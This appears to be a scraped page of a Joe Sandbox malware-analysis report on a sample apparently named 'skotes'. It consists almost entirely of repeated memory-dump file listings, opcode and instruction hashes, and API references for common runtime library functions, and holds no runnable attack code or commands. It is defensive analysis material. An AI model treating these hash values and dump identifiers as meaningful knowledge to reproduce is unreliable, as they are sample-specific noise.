Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 1c15196b0d0abebe3dd36e336026f1f2378de3853c2044a4193ab14f619fb008
Instruction ID: 9d800da88a16fe41eac1290766e07903c8bb939818caf8df3ff55fe4b5a85885
Opcode Fuzzy Hash: 1c15196b0d0abebe3dd36e336026f1f2378de3853c2044a4193ab14f619fb008
Instruction Fuzzy Hash: FD01D671600521AFCB657B60D8C2D6EBB6BBF44721F04002DF40497791CB25FC119AF4

Function 0063D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0063D0C5
ListArray.LIBCONCRT ref: 0063D0D7

Part of subcall function 0063C6B2: _InternalDeleteHelper.LIBCONCRT ref: 0063C6C4

ListArray.LIBCONCRT ref: 0063D0E1
_InternalDeleteHelper.LIBCONCRT ref: 0063D0FA

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 4f162a281013002cf5d7f5321b1690ff48ec1113fac4da65be32d1617ff40780
Instruction ID: b9f2fa512c91a131ca98029d303fa217f0e640a35924ca983153e453a35d402f
Opcode Fuzzy Hash: 4f162a281013002cf5d7f5321b1690ff48ec1113fac4da65be32d1617ff40780
Instruction Fuzzy Hash: 9E01D671200521AFCA657B61E982D6DB76BFF45720F04142DF401A7611CF20AC6197D4

Function 006433C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006433DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 006433EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00643407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0064341F

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: d9726a43f6dc31acc3fb4f27f9827d8ba2edc64909f0336f357d76009994586a
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 1D01D632700524A7CF56EE548841AEFB7EB9F55350F100019FC12AB382DA71EE1196E0

Function 00639510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00639519

Part of subcall function 0062F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00635486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0063953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00639550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00639559

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 91d0b9d402da555da9bb11ee9804499ffda3a44c6850369f0d411cce4010204d
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 97F0A731600B205FF6A2AB548811FAA23D79F40721F00841DE55B97283CEA4E886CFD4

Function 0064F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0064F3A3

Strings

`'g, xrefs: 0064F375
8"g, xrefs: 0064F44B

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"g$`'g
API String ID: 3903695350-151162620
Opcode ID: 0a135a11b3ac3bff33c202cbf51172a11f8cfaf8814bce60105ed75d3409e21b
Instruction ID: 54d7d7944e58c16dcaffaa2bb04a10d0618e493d9590c52a280c8a87ccc0f0a1
Opcode Fuzzy Hash: 0a135a11b3ac3bff33c202cbf51172a11f8cfaf8814bce60105ed75d3409e21b
Instruction Fuzzy Hash: 74315A32A00201EFEB61AF79D845B9B73EBEF04352F10442DF049D7696DE70AC808B59

Function 0064F1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0064F232
__freea.LIBCMT ref: 0064F298

Part of subcall function 0064B04B: RtlAllocateHeap.NTDLL(00000000,2054CAE1,?,?,0062D3FC,2054CAE1,?,00627A8B,?,?,?,?,?,?,00617465,?), ref: 0064B07E

Strings

Zd,md, xrefs: 0064F1D2

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
